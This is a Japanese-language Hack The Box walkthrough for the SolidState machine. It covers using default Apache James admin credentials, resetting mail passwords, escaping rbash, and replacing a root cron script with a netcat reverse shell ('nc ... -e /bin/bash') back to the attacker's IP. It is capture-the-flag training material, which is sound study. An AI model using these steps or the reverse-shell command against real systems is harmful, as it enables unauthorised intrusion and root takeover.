SolidState 日本語でウォークスルー Hack The Box Machine:
Hack The BoxのSolidStateのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はmediumとなっています。
※本記事はサイバー犯罪を助長するものではありません。ハッキングやクラック等の悪用は厳禁です。
目次
HTB SolidState ウォークスルー・ライトアップ Hack The Box
Summary
local shell取得まで
ターゲットポート:TCP 25(smtp),110(pop3),4555(rsip)
脆弱性:ターゲットでは、「james remote administration tool」を使用していた。このツールにデフォルトのクレデンシャル情報が使用されていた。
このツールを利用し、ユーザのSSHのクレデンシャル情報を取得した。
local権限を取得したユーザ:「mindy」
privilege Escalation取得まで
脆弱性:ターゲットには、定期的に実行をスケジューリングされているpythonファイルがあった。これはroot権限で実行されていた。
このphpファイルを置き換えることでreverse-shellを取得した。
root権限を取得したユーザ:root
Information Gathering
ポートスキャン
それでははじめます。まずはターゲット上で動作しているTCPポートをnmapで探します。nmapについてはこちらを参照ください。
nmap -p- -n -T4 -A -v 10.10.xx.xx

nmapの結果、上画像の通り、
TCPポート番号22(ssh),25(smtp),80(http),110(pop3),119(nntp),4555(rsip)が開いていることが分かりました。
TCP番号4555は「james remote administration tool」を使用しているようです。
そちらも気になりますが、まずはhttpサービスから調査していくことにしました。
ターゲットのhttpサービス調査
httpでfirefoxにアクセスしました。その結果、以下サイトに接続しました。
とある会社のホームページのようでした。
TCP番号4555(rsip)の調査
初期nmapの結果、このサービスは「james remote administration tool」を使用しているようでした。
このツールについて調べた所、Apache James Server 2.3.2 – Remote Command Executionから、以下のデフォルトクレデンシャル情報を見つけました。
userid:root password:root
netcatを使用してターゲットにTCP番号4555で接続しました。
上記のクレデンシャル情報を使用した所、ログインできました。
ログイン後は、「help」コマンドに従い調査を続けました。
上画像の通り、まずは「listusers」コマンドでユーザーを調査しました。
その結果、ユーザとして「james」、「thomas」、「john」、「mindy」、「mailadmin」を見つけました。
次に「setpassword」コマンドで各ユーザのパスワードを「password」に変更しました。
気になったのは「mailadmin」というユーザでした。
このユーザから、これらのクレデンシャル情報が、メールサービス(TCP番号25,110)でも使用されているのではと考えました。
そのため、次はターゲットのメールサービスを調査することにしました。
メールサービスを調査する。(TCP25,110)
TCP番号110(pop3)で接続し、ユーザ宛てに届いているメールを確認することにしました。
先程、「james remote administration tool」変更したパスワードを使ってログインを試みました。
user:mindy password:password
すると、上記クレデンシャル情報で「mindy」ユーザとしてログインすることができました。
「mindy」ユーザ宛てに、届いていたメールを確認した所、
以下のクレデンシャル情報を見つけました。
userid:mindy password:P@55W0rd1!2@
どうやらこのクレデンシャル情報はssh用のようでした。
local shellの取得
「mindy」ユーザでssh接続を試す
先程見つけたクレデンシャル情報使用してssh接続をした所、local-shellの取得に成功しました。
「mindy」ユーザのlocal-shellでした。
コマンドが制限されていた
local-shellを取得しましたが、「sudo -l」や「wget」コマンドが通りませんでした。
「/etc/passwd」を調べた所、「mindy」ユーザは、「/bin/rbash」となっており、権限が制限されていました。
そのため、以下の様に、ssh接続時に「/bin/bash」が取れるように細工をしました。
ssh mindy@10.10.xx.xx "export TERM=xterm; python3 -c 'import pty;pty.spawn(\"/bin/bash\")'"
これにより、rbashによるコマンドの制限が解除されました。
Privilege Escalation
Privilege Escalationの脆弱性調査
wgetが使えるようになったため、linpeasを自分の魔人からターゲットにダウンロードしました。
linpeasを使用して調査した所、「/opt/tmp.py」を見つけました。
「/opt/tmp.py」を置き換える
以下のような形で、「tmp.py」をreverse-shell用のファイルに置き換えました。
echo 'import os' > /opt/tmp.py
echo 'import sys' >> /opt/tmp.py
echo 'os.system("/bin/nc 10.10.xx.xx 5555 -e /bin/bash")' >> /opt/tmp.py
netcatを仕掛けて、5分程待っていた所、rootのshellを取得できました。
cronで自動的に「tmp.py」が実行されたようでした。

flagを探す
user.txtは「/home/mindy」にありました。
root.txtは「/root」直下にありました。
以上で、SolidStateのウォークスルーは終了です。
今まで記事にしたHack The Boxのマシンは以下にまとめています。
Hack The Box Machine: 日本語でWriteup/Walkthrough まとめ – mopenten
Hack The Boxのウォークスルー・ライトアップ(walkthrough/writeup)のまとめです。 いままで記事にしたマシンを一覧にしています。 Hack The Box 日本語でWriteup/Walkth […]